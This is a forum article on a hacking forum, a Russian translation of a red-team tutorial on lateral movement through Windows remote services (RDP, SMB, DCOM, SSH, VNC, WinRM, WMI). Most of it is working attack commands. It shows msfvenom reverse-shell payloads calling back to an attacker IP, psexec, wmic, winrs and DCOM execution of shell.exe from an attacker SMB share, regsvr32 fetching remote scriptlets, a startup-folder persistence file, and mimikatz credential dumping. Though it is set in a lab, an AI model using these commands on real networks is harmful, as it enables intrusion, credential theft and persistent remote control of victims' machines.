• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Боковое перемещение: удаленные службы (Mitre:T1021)

yashechka

Генератор контента.Фанат Ильфака и Рикардо Нарвахи
Эксперт
Регистрация
24.11.2012
Сообщения
2 344
Реакции
3 563
Введение

Во время проведения Red Team, после компрометации, злоумышленники, как правило, перемещаются по сети, получая более важную информацию о других системах. Это боковое перемещение возможно благодаря использованию множества двоичных файлов/сервисов/процессов. В этой статье мы сосредоточимся исключительно на горизонтальном перемещении с использованием удаленных служб, т. е. служб, которые могут помочь в выполнении кода/команд в удаленных системах путем получения недопустимого набора учетных данных. Часто внутри организации используется один и тот же набор учетных данных, и этот тип горизонтального перемещения становится очень простым и эффективным.

ТАКТИКА MITRE: Боковое движение (TA0008)

ИДЕНТИФИКАТОР ТЕХНИКИ MITRE: T1021 (удаленные службы)

Описание


Боковое перемещение очень полезно для сбора большего количества данных за счет компрометации большего количества систем, чем полагаться только на одну систему для получения более высоких привилегий и, в конечном итоге, для компрометации всей сети.

Некоторые службы специально разработаны для обеспечения удаленных сеансов и принимают соединения, если предоставлены действительные учетные данные. В доменных сетях эта базовая аутентификация заменяется Kerberos, однако набор действительных учетных данных по-прежнему можно использовать в сети и на нескольких устройствах. Например, учетная запись администратора отдела кадров может быть зарегистрирована в любой системе управления персоналом, и таким образом можно получить больше данных, перемещаясь в горизонтальном направлении.

Цель этой статьи — продемонстрировать как можно больше методов, используя наиболее известные удаленные сервисы, включая RDP, SSH и т. д. К концу статьи мы поговорим о таких сервисах, как mimikatz и wmi. Эти службы по существу используют одну или несколько комбинаций удаленных служб для предоставления удаленных сеансов.

Начнем сначала с RDP и постепенно перейдем к другим сервисам.

Лабораторная среда для атак

Для статьи у меня есть руках две заготовки. Первая — это настройка Active Directory с доменом "ignite.local", а вторая — простые 2 устройства Windows, подключенные мостом к системе Kali в среде без домена. Детали такие:

1651090578897.png


Боковое перемещение через RDP (T1021.001)

Согласно Microsoft ( https://docs.microsoft.com/en-us/tr.../remote/understanding-remote-desktop-protocol), RDP основан на семействе стандартов протоколов T-120 и является их расширением. Многоканальный протокол позволяет использовать отдельные виртуальные каналы для передачи следующей информации:

-презентационные данные
-последовательная связь устройств
-информация о лицензировании
-сильно зашифрованные данные, такие как клавиатура, активность мыши


Другими словами, он позволяет пользователю общаться с удаленным сервером, предоставляя ему полнофункциональный графический интерфейс.

Взлом RDP с помощью диспетчера задач

Когда вы подключаетесь к пользователю "Администратор"и открываете диспетчер задач → перейти к пользователям → вы увидите это, если пользователь "hex" в настоящее время вышел из системы, но существует.

1651090605764.png


Вы можете нажать на hex и выбрать подключение

1651090617907.png


Диспетчер задач теперь будет запрашивать учетные данные для пользователя hex.

1651090629588.png


Теперь вы успешно подключены к hex. Это можно подтвердить в cmd

1651090640917.png


Перехват RDP с помощью Tscon

tscon — это утилита Microsoft Windows, представленная в выпуске Windows Server 2012. Она используется для подключения к другому сеансу на сервере узла сеансов удаленных рабочих столов. Для работы требуется назначение и идентификатор сеанса. Учетные данные пользователя также можно передать в качестве параметров в tscon. Об этом подробнее здесь (https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tscon).

Теперь интересно то, что если вам удалось получить разрешения уровня SYSTEM (NT AUTHORITY\SYSTEM), вы можете переключать сеансы RDP с помощью tscon без необходимости ввода пароля. Это работало на старых версиях Windows 10 безупречно. В новых версиях по-прежнему нужны пароли.

Итак, мы сначала получаем NT AUTHORITY\SYSTEM на нашей скомпрометированной системе с помощью psexec, а затем видим интерактивные сеансы. Мы переключаемся на нужный сеанс (здесь номер 3) и используем переключатель /DEST для переключения текущего соединения (rdp-tcp#9) с пользователем в 3-м сеансе.

whoami
psexec64.exe -s cmd
whoami
query user
cmd /k tscon 3 /DEST:rdp-tcp#9

1651090715470.png


Он немедленно откроет нового пользователя "hex" в том же подключении к удаленному рабочему столу! Это может проверить через whoami

1651090722612.png


Перехват RDP с помощью Mimikatz

Mimikatz включает модуль "ts" для работы с сеансами RDP. Это реализация tscon только с добавленными функциями mimikatz. Мы можем видеть активные сеансы пользователей, используя команду

ts::sessions

1651090742744.png


У нас есть отключенный пользователь hex с идентификатором сеанса 3. Давайте подключимся к нему. То, что мы сделали с помощью psexec, mimikatz делает автоматически, используя олицетворение токена для повышения привилегий.

privilege::debug
token::elevate
ts::remote /id:3

1651090787596.png


И тогда вам будет представлен удаленный рабочий стол пользователя hex.

Выполнение команд с проверкой подлинности SharpRDP

0xthirteen разработала инструмент SharpRDP (https://github.com/0xthirteen/SharpRDP ), который предоставляет различные методы и приемы для выполнения команд с проверкой подлинности с использованием RDP как услуги. Этот метод не будет включать перехват удаленных сеансов, а будет использовать информацию для входа в систему для обеспечения выполнения кода. Это достигается за счет использования библиотеки COM и mstscax.dll. Подробнее здесь (https://0xthirteen.com/2020/01/21/revisiting-remote-desktop-lateral-movement/) .

Сначала мы создадим полезную нагрузку

msfvenom -p windows/x64/shell_reverse_tcp lhost=192.168.0.89 lport=1337 -f exe > shell.exe

1651090953680.png


Далее мы разместим этот файл в нашем общем ресурсе SMB. Мы можем настроить общий ресурс вручную или использовать smbserver Impacket для создания временного общего ресурса с именем "sharename ".

smbserver.py sharename /root

1651090817235.png


Теперь, используя доступные нам учетные данные администратора удаленного пользователя, мы можем использовать SharpRDP для выполнения этого EXE-файла, указав путь UNC ниже.

SharpRDP.exe computername=DESKTOP-9GSGK09 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe username=Administrator password=123

1651090836416.png


Как видите, удаленный сервер попал на наш SMB-сервер и получил файл

1651090852710.png


Мы успешно продвинулись таким образом!

1651090866646.png


Боковое перемещение через SMB (T1021.002)

SMB — это один из наиболее широко используемых сетевых протоколов, который позволяет пользователям взаимодействовать с удаленными системами по сети. Как правило, он используется для совместного использования файлов, принтеров, но, используя общие ресурсы с возможностью записи, его можно использовать для выполнения команд и, в конечном итоге, горизонтального перемещения.

PsExec SMB RCE

Многие инструменты, такие как psexec, используют SMB для выполнения команд с проверкой подлинности. Согласно Microsoft, "PsExec — это облегченная замена telnet, которая позволяет выполнять процессы в других системах с полной интерактивностью для консольных приложений без необходимости вручную устанавливать клиентское программное обеспечение. Наиболее мощные возможности использования PsExec включают запуск интерактивных командных строк на удаленных системах и инструменты удаленного включения, такие как IpConfig, которые в противном случае не имеют возможности отображать информацию об удаленных системах. Во-первых, давайте воспользуемся smbserver impacket, чтобы создать локальный общий ресурс SMB, на котором будет размещен наш вредоносный файл. Этот файл в конечном итоге будет записан на удаленных системах и выполнен для получения движения.

smbserver.py sharename /root

1651091067845.png


После этого мы создадим вредоносный файл, используя msfvenom.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.89 LPORT=1337 -f exe > shell.exe

1651091103596.png


Теперь воспользуемся скомпрометированной системой и загрузим в нее psexec64.exe. Затем мы будем использовать следующую команду для запуска нашего вредоносного файла на указанном хосте.

psexec64.exe \\DESKTOP-9GSGK09 -u hex -p 123 cmd.exe /c \\192.168.0.89\sharename\shell.exe

1651091125376.png


Как видите, hex достиг нашего общего ресурса smb и загрузил файл.

1651091136643.png


А значит, мы успешно получили реверс шелл!

1651091146111.png


Создание процесса Sc.exe

sc.exe — это инструмент командной строки, который входит в состав Windows и предлагает функции для обслуживания и администрирования служб Windows NT. Это необязательный системный процесс, однако его можно использовать для создания процессов и выполнения в них DLL. Здесь мы создадим процесс "ignite " и используем метод regsvr для определения исполняемой DLL в этом процессе.

Во-первых, давайте настроим наш обработчик и сгенерируем код regsvr с помощью Metasploit.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run

1651091172788.png


Теперь полученный код regsvr можно включить в команду sc.exe binpath. Следующая команда создает процесс ignite с приведенным выше кодом. Дальше начинается так же. Обратите внимание, что "DESKTOP-9GSGKO9" — это целевая система Windows, в которой должен выполняться код.

sc \\DESKTOP-9GSGKO9 create ignite binpath= "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/nGU8JQ0b9OjF.sct scrobj.dll"
sc \\DESKTOP-9GSGKO9 start ignite


Как видите, была получена ошибка запуска службы, но это потому, что предоставленная нами DLL недействительна. Он все равно выполнит нашу DLL и даст нам обратную оболочку! Здесь у нас были полномочия администратора над доступными для записи общими ресурсами в удаленной системе, поэтому мы получили привилегию NT AUTHORITY\SYSTEM, но в зависимости от ваших прав это может отличаться.

1651091195656.png


Metasploit SMB Remote PsExec

Существует модуль Metasploit psexec, который может скомпрометировать удаленную систему, если SMB доступен на цели и предоставленные учетные данные действительны. Здесь, скажем, мы получили учетные данные SMB Administrator:123, мы можем использовать эти учетные данные по сети и скомпрометировать другие системы с тем же набором учетных данных. Здесь, как видите, мы установили пейлоад meterpreter и при успешном выполнении получили веб-шелл!

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/reverse_tcp
set RHOSTS 192.168.0.119
set SMBUSER Administrator
set SMBPASS 123
set LHOST 192.168.0.89
set LPORT 4444
exploit

1651091221208.png


Cmd.exe SMB RCE


Cmd.exe в Windows также может выполнять команды в удаленной системе, если у пользователя есть доступ на запись к критически важным общим ресурсам, таким как C$, ADMIN$ и т. д., cmd.exe может копировать файл в такие места, как C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp и получить персистенс в сочетании с боковым движением.

Однако в этом примере мы просто запустим простую команду regsvr и запишем ее вывод в файл с именем ignite в общей папке ADMIN$, демонстрируя возможность записи команды.

use exploit/multi/script/web_delivery
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.0.89
set LPORT 1234
set target 3
run

1651091244552.png


Теперь мы запускаем это с помощью cmd.

cmd.exe /Q /c "C:\Windows\System32\regsvr32 /s /n /u /i:http://192.168.0.89:8080/jqVdIASVxjl4T.sct scrobj.dll" 1> \\127.0.0.1\ADMIN$\ignite 2>&1

1651091266016.png


Это дает нам обратную оболочку!

1651091283478.png


Как видите, выходной файл был создан в указанном нами удаленном общем ресурсе. Хотя вывода не было, поэтому файл пустой, но он был создан.

1651091293619.png


Другим примером этого может быть запись bat-файла в удаленный общий ресурс жертвы 192.168.0.120, который сохранит нашу команду выполнения полезной нагрузки в StartUp, и это будет выполнено при следующем перезапуске системы.

cmd.exe /Q /c "echo ‘cmd.exe /c \\192.168.0.89\sharename\shell.exe’" 1> \\192.168.0.120\C$\ ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ignite.bat 2>&1

SharpMove.exe SMB RCE


0xthirteen разработал сценарий C# под названием SharpMove, который использует множество различных удаленных служб для выполнения кода. Он может использовать общий ресурс SMB в удаленной системе для выполнения кода. Он также может попытаться отключить AMSI в качестве дополнительного бонуса. В этом примере мы изменим существующую службу, введя в нее собственный код. Мы только что создали службу под названием "ignite" при демонстрации sc.exe, давайте изменим эту службу. Выполнение в системе с именем хоста "DESKTOP-9GSGK09" может быть достигнуто следующим образом:

SharpMove.exe action=modsvc computername=DESKTOP-9GSGKO9 command="cmd.exe /c \\192.168.0.89\sharename\shell.exe" amsi=true servicename=ignite username=Administrator password=123

1651091324793.png


Как видите, SharpMove.exe обновил путь к служебному binpath, и обратная оболочка была успешно получена.

1651091336800.png


Боковое перемещение через DCOM (T1021.003)

Согласно Microsoft, "Модель Microsoft Component Object Model (COM (https://docs.microsoft.com/en-gb/windows/win32/com/the-component-object-model?redirectedfrom=MSDN)) — это независимая от платформы, распределенная, объектно-ориентированная система для создания двоичных программных компонентов, которые могут взаимодействовать. COM является базовой технологией для Microsoft OLE (составные документы), ActiveX (интернет-компоненты), а также других.

Это не язык программирования, а стандарт, применимый только к коду, скомпилированному в двоичный код. Такие языки программирования, как C++, предоставляют простые механизмы для работы с COM-объектами. C, Java также реализуют COM".

COM-объект — это объект, в котором доступ к данным объекта достигается исключительно через один или несколько наборов связанных функций. Эти наборы функций называются интерфейсами, а функции интерфейса называются методами. Кроме того, СОМ требует, чтобы единственный способ получить доступ к методам интерфейса — через указатель на интерфейс. Другими словами, COM позволяет двоичному файлу взаимодействовать с другими программными объектами или исполняемыми файлами, реализуя объекты, которые могут вызывать библиотеки DLL и EXE. DCOM (Distributed COM) (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-dcom/4a893f3d-bd29-48cd-9f43-d9777a4415b0?redirectedfrom=MSDN)— это промежуточное программное обеспечение, которое расширяет функциональность COM за пределы локального компьютера с помощью технологии удаленного вызова процедур (RPC).

По умолчанию только администраторы могут удаленно активировать и запускать COM-объекты через DCOM.

DCOM может выполнять макросы в документах Office, а также удаленно взаимодействовать с WMI, открывая атакуемый домен для широкого спектра векторов.

Обратите внимание, что эта атака работает в системе, присоединенной к домену. Удаленное взаимодействие DCOM по умолчанию недоступно в сетях. Чтобы включить удаленное взаимодействие DCOM, требуется некоторый магический код, который не входит в предмет этой статьи. (Хотя я сделал это и использую для этого систему, не присоединенную к домену)

Mmc20.application удаленный DCOM

Вы используете Microsoft Management Console (MMC) для создания, сохранения и открытия инструментов администрирования, называемых консолями, которые управляют оборудованием, программным обеспечением и сетевыми компонентами вашей операционной системы Microsoft Windows. MMC работает на всех клиентских операционных системах, которые в настоящее время поддерживаются. Здесь используется метод Enigma0x3 (ссылка здесь (https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)).

Во-первых, давайте посмотрим запись реестра mmc20.application с помощью powershell. ProgID требуется для создания своего экземпляра в удаленной системе. Далее мы создадим новый экземпляр этой программы mmc20 в нашей целевой системе (192.168.0.119) с помощью Powershell.

Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}'
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","192.168.0.119"))

1651091369283.png


Мы создали объект с именем $dcom, который порождает различные функции, которые может выполнять mmc. Одним из таких является ExecuteShellCommand.

1651091382086.png


Мы будем использовать эту функцию для выполнения команды на этом удаленном объекте DCOM, созданном таким образом.

$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c \\192.168.0.89\sharename\shell.exe > output.txt","7")

1651092258836.png


При успешном выполнении мы видим попадание на наш SMB-сервер, исполняемый файл загружается и выполняется.

1651092273740.png


Это дает нам хорошую обратную оболочку, и, следовательно, боковое движение было достигнуто!

1651092286167.png


Боковое перемещение через SSH (T1021.004)

SSH — это наиболее широко используемый кроссплатформенный протокол, который позволяет пользователю подключаться к удаленным сеансам, а также позволяет копировать файлы. Часто в корпоративной среде используются разные подсети, которые могут быть недоступны для злоумышленника напрямую из-за ограничений брандмауэра или из-за другого сетевого интерфейса. В таких сценариях боковое перемещение через SSH может открыть множество вариантов для злоумышленника. Давайте посмотрим некоторые методы.

Перенаправление портов SSH

Чтобы ознакомиться с подробными примерами использования и руководством по переадресации портов, я настоятельно рекомендую прочитать эту статью ( https://www.hackingarticles.in/comprehensive-guide-on-ssh-tunneling/). Мы берем простой сценарий здесь. Наш целевой сервер имеет следующий IP-адрес и имя пользователя

1651092302169.png


Теперь мы успешно скомпрометировали систему с именем пользователя "hex", которая имеет 2 сетевые карты. Один в той же сети, что и наш атакующий компьютер, и один в сети нашего целевого сервера.

1651092311451.png


И, как вы можете видеть, наша машина злоумышленника находится в другой подсети, чем наш пункт назначения, и ping не достигает ее, поэтому она недоступна напрямую.

1651092321453.png


Чтобы настроить переадресацию локального порта, которая позволяет нам перенаправлять любой входящий трафик на определенный порт на целевой сервер, мы следуем следующей схеме:

ssh -L LOCAL_PORT:DEST_IP:DEST_PORT COMPROMISED_USERNAME@COMPROMISED_SERVER

После этого мы должны указать пароль.

ssh -L 7000:192.168.179.130:22 hex@192.168.0.119

1651092356749.png


После успешной настройки мы теперь сможем подключиться к целевому серверу! Во-первых, убедитесь, что в файле known_hosts нет уже существующих записей localhost (используя ssh-keygen -R)

ssh-keygen -R 127.0.0.1
ssh server@127.0.0.1 -p 7000

1651092377417.png


Как видите, мы успешно подключились к месту назначения!

Боковое перемещение через VNC (T1021.005)

VNC или виртуальные сетевые вычисления — это служба, использующая протокол удаленного буфера кадров для обеспечения графического удаленного доступа к другой системе. Это интерактивный сеанс, поскольку пользователь может вводить данные с помощью мыши и клавиатуры через VNC в исходную систему. Такое определение кажется очень похожим на протокол удаленного рабочего стола, который мы обсуждали некоторое время назад, но между ними есть заметная разница. VNC не зависит от платформы, что означает, что он может работать с Linux и Windows, тогда как RDP может работать только между двумя компьютерами Windows.

Согласно MITRE, "Злоумышленники могут злоупотреблять VNC для выполнения вредоносных действий от имени вошедшего в систему пользователя, таких как открытие документов, загрузка файлов и выполнение произвольных команд. Злоумышленник может использовать VNC для удаленного управления и мониторинга системы, сбора данных и информации для перехода к другим системам в сети".

Давайте посмотрим на один из таких методов.

Полезная нагрузка VNCinject

Vncinject — это полезная нагрузка, доступная для использования с msfvenom. Она устанавливает отражающую DLL vnc в системе злоумышленника и обратно подключается к системе злоумышленника. Можно отметить, что для дальнейшего горизонтального перемещения с его помощью его можно хранить в общем ресурсе, а также можно использовать метод удаленного исполнения, такой как psexec.

Давайте сначала создадим полезную нагрузку и разместим ее на нашем веб-сервере для загрузки и выполнения в системе.

msfvenom -p windows/x64/vncinject/reverse_tcp lhost=192.168.1.4 lport=4532 -f exe > vnc.exe

1651092410584.png

Теперь мы заставим нашу жертву выполнить эту полезную нагрузку. Это можно сделать, отправив фишинговые ссылки и т. д. Для простоты мы просто используем powershell wget для загрузки и выполнения (моделирование)

powershell wget 192.168.1.4/vnc.exe -O vnc.exe
vnc.exe

1651092430161.png


Теперь настраиваем multi/handler и ждем обратного вызова. После успешного выполнения мы получаем обратный вызов в нашей консоли.

use multi/handler
set payload windows/x64/vncinject/reverse_tcp
set lhost 192.168.1.4
set lport 4532
run

1651092455230.png


Через некоторое время мы получим полноценный сеанс VNC, и боковое движение достигнуто!

1651092468846.png


Примечание. Чтобы узнать больше о пентесте VNC, прочитайте нашу статью здесь ( https://www.hackingarticles.in/vnc-penetration-testing/) .

Боковое перемещение через WinRM (T1021.006)

WinRM — это инструмент командной строки, который позволяет администраторам удаленно выполнять команды CMD.exe с использованием протокола WS-Management. Эта спецификация описывает общий протокол на основе SOAP для управления такими системами, как ПК, серверы, устройства, веб-службы, другие приложения и другие управляемые объекты. Он использует порт 5985 для транспорта HTTP и порт 5986 для транспорта HTTPS.

В серверной и клиентской версиях операционной системы Windows Enable-PSRemoting позволяет администратору получить доступ к удаленной оболочке с помощью Powershell для частных и доменных сетей через службу WinRM.

Прочтите здесь ( https://docs.microsoft.com/en-gb/wi...windows-remote-management?redirectedfrom=MSDN) документацию Microsoft о WinRM

Во-первых, для настройки WinRM нам нужно выполнить следующие команды только в окне Admin Powershell. Это активирует winrm, разрешит HTTP-соединение (поскольку по умолчанию для HTTPS в системе нет SSL-сертификата) и разрешит всем пользователям, добавив их в доверенные хосты.

Enable-PSRemoting -Force
winrm quickconfig
winrm set winrm/config/service '@{AllowUnencrypted="true"}'
Set-Item WSMan:localhost\client\trustedhosts -value *

1651092492060.png


Для службы WinRM мы также можем вручную просмотреть конфигурацию и установить/изменить любое значение.

cd WSMan:\localhost\Client
set-item .\allowunencrypted $true

1651092507761.png


В доменной среде часто такие инструменты, как WinRS, не работают из-за Kerberos. Следовательно, нам нужно активировать базовый механизм аутентификации.

set-item WSMan:\localhost\Service\Auth\Basic $true
set-item WSMan:\localhost\Service\AllowUnencrypted $true

1651092526375.png


New-PSSession Powershell


Команда New-PSSession в powershell создает новый постоянный удаленный сеанс powershell. Предоставляя удаленные учетные данные, вы видите, что мы подключились к серверу. Полезно в сценариях, когда одна система имеет доступ к целевому/целевому серверу, и нам нужно подключиться к нему, но наша система злоумышленника не может до него добраться.

Мы можем выполнить вредоносный исполняемый файл, который мы сохранили в нашем общем ресурсе SMB, для дальнейшего горизонтального перемещения.

New-PSSession -ComputerName 192.168.1.2 -Credential (Get-Credential)
Enter-PSSession 2
cmd.exe /c \\192.168.1.4\sharename\shell.exe


1651092549681.png


Видите ли, теперь сервер обходит входящие соединения брандмауэра, которые ограничивали подключение пользователя к нему. Вместо этого мы заставили сервер подключаться к нам!

1651092562162.png


Это дает нам аккуратную обратную оболочку!

1651092573260.png


Вызов команды Powershell

Invoke-Command — это командлет в Powershell, который запускает указанные команды в удаленных системах с помощью взаимодействия с WinRM. Администраторы используют это для автоматической установки инструментов/программного обеспечения и т. д. Но его можно использовать и для бокового движения. Указав нашу команду в "scriptblock", мы можем ее выполнить. Флаг "-Credential" позволяет пользователю вводить учетные данные, которые также можно заменить, создав блок и передав его в STDIN.

1651092590273.png


Это дает нам нашу оболочку.

1651092602267.png


Winrs

Winrs означает удаленную оболочку Windows и совпадает с New-PSSession. Он существует в Windows с Server 2008. Winrs можно использовать для выполнения кода в удаленной системе. Он использует только базовую аутентификацию. Итак, shell.exe, хранящийся в нашем smbshare, может быть выполнен так:

winrs /r:dc1 /username:Administrator /password:Ignite@987 "cmd.exe /c \\192.168.1.4\sharename\shell.exe"

1651092621126.png


Что дает нам реверс шелл!

1651092629060.png


Evil -Winrm

Evil-WinRM — очень популярный инструмент, используемый Red Teamers для горизонтального перемещения по сети с использованием WinRM. В фоновом режиме он также использует возможности удаленной оболочки Windows, но поверх него добавлены некоторые изящные функции. Он написан на руби и может быть установлен с помощью gem install evil-winrm. После установки его можно использовать для подключения к удаленному серверу, например:

evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987'

1651092648466.png


Теперь я создал папку с именем двоичные файлы в каталоге /root, которая включает сценарий powershell Mimikatz (найден здесь).

1651092657835.png



Evil-WinRM может загрузить эти сценарии PowerShell (хранящиеся в папке) и позволить нам выполнять его функции PowerShell! Для этого мы используем -s и указываем путь к папке с двоичными файлами. После этого мы можем использовать Invoke-Mimikatz, и, как видите, mimikatz сработал и сбросил кешированные пароли на сервер.

evil-winrm -i 192.168.1.2 -u Administrator -p 'Ignite@987' -s '/root/binaries'
Invoke-Mimikatz.ps1
Invoke-Mimikatz

1651092675017.png


Боковое движение через Mimikatz


Mimikatz содержит множество опций, которые помогают при боковом движении. Одним из таких является сброс паролей. Мы можем сделать это с помощью модуля sekurlsa:

privilege::debug
sekurlsa::logonpasswords


1651092731658.png


Эти хэши можно использовать с psexec для проведения хэш-атак!

Боковое перемещение через WMI

Утилита командной строки WMI (WMIC) предоставляет интерфейс командной строки для инструментария управления Windows (WMI).WMIC совместим с существующими оболочками и служебными командами. Wmi также можно использовать для удаленного выполнения команд. Это достигается с помощью флага /node. Например, в приведенном ниже примере мы создаем новый вызов процесса, который будет выполнять нашу оболочку, хранящуюся на нашем сервере SMB на узле 192.168.1.2.

wmic /node:192.168.1.2 /user:administrator process call create "cmd.exe /c \\192.168.1.4\sharename\shell.exe"

1651092755675.png


Как видите, выполнение прошло успешно и мы получили реверс шелл

1651092765921.png


Боковое перемещение через Invoke-WmiMethod

Как и для любой хорошей утилиты, существовавшей в Windows в виде бинарного файла, Microsoft создала для нее эквивалентный командлет powershell. Invoke-WmiMethod — это командлет, который делает то же самое, что и wmic в приведенном выше примере. Более новый Invoke-CimMethod в PS 5.1+ делает то же самое. Обратитесь сюда. (https://docs.microsoft.com/en-us/powershell/module/cimcmdlets/invoke-cimmethod?view=powershell-5.1)

Чтобы использовать Invoke-WmiMethod с помощью CLI, нам нужно создать команду. Спасибо @spotheplanet за эту технику (https://www.ired.team/offensive-security/lateral-movement/t1175-distributed-component-object-model). Мы также можем использовать общий Invoke-WmiMethod, но для этого требуется графический интерфейс, которого у нас обычно нет в сценариях Red Team.

В этом методе мы создадим вредоносный файл MSI и установим его на целевой сервер.

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.4 LPORT=1337 -f msi > shell.msi

1651092791791.png


Теперь в CLI скомпрометированной жертвы мы вводим следующую команду. Эта команда в основном предоставляет учетные данные (Администратор: Ignite@987) для Invoke-WmiMethod и устанавливает файл MSI, помещенный в нашу общую папку SMB.

$username = 'Administrator';$password = 'Ignite@987';$securePassword = ConvertTo-SecureString $password -AsPlainText -Force; $credential = New-Object System.Management.Automation.PSCredential $username, $securePassword; Invoke-WmiMethod -Path win32_product -name install -argumentlist @($true,"","\\192.168.1.4\sharename\shell.msi") -ComputerName dc1 -Credential $credential

1651092810173.png


На нашем реверс прослушателе вы можете видеть, что появилась стабильная оболочка!

1651092820464.png


Заключение

Боковое перемещение является важным шагом в Red Teaming, поскольку оно ведет к повышению привилегий и компрометации сети. В статье говорилось об удаленных службах и о том, как их можно использовать для сценариев бокового перемещения во время оценок Red Team. Эти сервисы изначально имеют возможность взаимодействовать с удаленными системами. Такие приемы мы продемонстрировали в статье.

Переведено специально для xss.pro
Автор перевода: yashechka
Источник: https://www.hackingarticles.in/lateral-movement-remote-services-mitret1021/
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх